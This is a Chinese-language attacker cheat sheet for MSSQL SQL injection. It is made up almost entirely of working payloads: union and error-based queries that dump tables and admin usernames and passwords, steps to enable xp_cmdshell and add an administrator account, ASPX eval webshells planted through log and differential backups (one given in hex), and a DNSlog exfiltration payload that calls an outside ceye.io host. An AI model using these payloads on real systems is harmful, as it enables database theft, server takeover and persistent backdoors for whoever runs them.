MSSQL注入
這里只記錄相對於mysql的一些東西
判斷是否為Mssql數據庫
and exists(select * from sysobjects) --
權限:
sa權限:數據庫操作,⽂件管理,命令執⾏,注冊表讀取等 system
db權限:⽂件管理,數據庫操作等 users-adminstrators
public權限:數據庫操作 guest-users
and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統管理員
and 1=(select is_srvrolemember('db_owner')) //判斷是否是庫權限
and 1=(select is_srvrolemember('public')) //判斷是否為public權限
調⽤數據庫的代碼:
<%set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>
聯合查詢:
id=-2 union all select 1,2,3,4..
1.@@version- 獲取版本信息;
2.db_name() -數據庫名字
3.user,system_user,current_user,user_name – 獲取當前⽤戶名
4.@@SERVERNAME – 獲取有關服務器主機的信息。
爆表:
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4
爆列:
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,nul
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
字段:
new_list.asp?id=-2 union all select null,username, password ,null from manage
報錯注入:
convert()函數: (原理:類型轉換失敗)
convert(int,@@version) - 獲取版本信息
convert(int,db_name()) -數據庫名字 convert(int,user) -當前⽤戶名
convert(int,@@SERVERNAME)– 獲取有關服務器主機的信息
CONVERT(int,(select top 1 table_name from information_schema.columns)) 表名
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制的表名 as varchar))) 列名
convert(int,(select top 1 name 列名 from 表名)) 字段
盲注:
還是sqlmap吧。。。。。。
Sa權限
寫webshell(有寫權限即可)
常用句子嫌占地方就不放了
eg: exec master..xp_webshell "echo 一句話 > 物理路徑"
檢測語句是否執行 exec master..xp_webshell "ping -n 1/10 www.baidu.com" #
如果發現被禁用,可以啟用:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
如果沒有回顯,在用報錯盲注來讀取寫出的東西。
語句內的引號可以轉義一下: ^
遠控
bitsadmin //win 7/2008
powershell //win 7/2008
vbs
注意目錄的歧義性
c:\users\public
無法查看物理路徑,可以嘗試指定位置或當前文件夾。
添加⽤戶
防護軟件不給連接
防⽕牆開啟 (慎重關閉)
不給添加用戶
net user 賬號 密碼 /add
net localgroup administators 賬號 /add
net user 賬號 /del
db_owner權限
log備份
;alter database (數據庫名稱) set RECOVERY FULL-- 數據庫激活為還原模式
;drop table cmd--
;create table cmd (a image)--
;backup log (數據庫名稱) to disk = 'c:/1.bak' with init--
;insert into cmd (a) values ('<%@ Page Language="Jscript"%> %eval(Request.Item["hackdog"],"unsafe");%>')-- (容易返回不閉合)
;backup log (數據庫名稱) to disk = 'C:/Users/Administrator/Desktop/wwwroot/xf.aspx'--
差異備份
1⾸先完整備份⼀次(c:\ddd.bak為所備份未見) backup database 庫名 to disk = 'c:\ddd.bak';--
2.創建表並插曲⼊數據 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c285265717 56573742e4974656d5b226861636b646f67225d2c22756e7361666522293b253e);--
3.進⾏差異備份 backup database 庫名 to disk='⽬標位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上⾯0x3c25402050616765204c616e67756167653d224a73637269707422253e20256576616c2852657175657374 2e4974656d5b226861636b646f67225d2c22756e7361666522293b253e
就是⼀句話⽊馬的內容:<%@ Page Language="Jscript"%> <%eval(Request.Item["hackdog"],"unsafe");%>
**
DNSlog
mysql:
1' and if((select load_file(concat('\\',hex((select 212)),'xxxxx.ceye.io\abv'))),1,0) And '1'='1
其他的太多了...等理解深入了單獨寫一下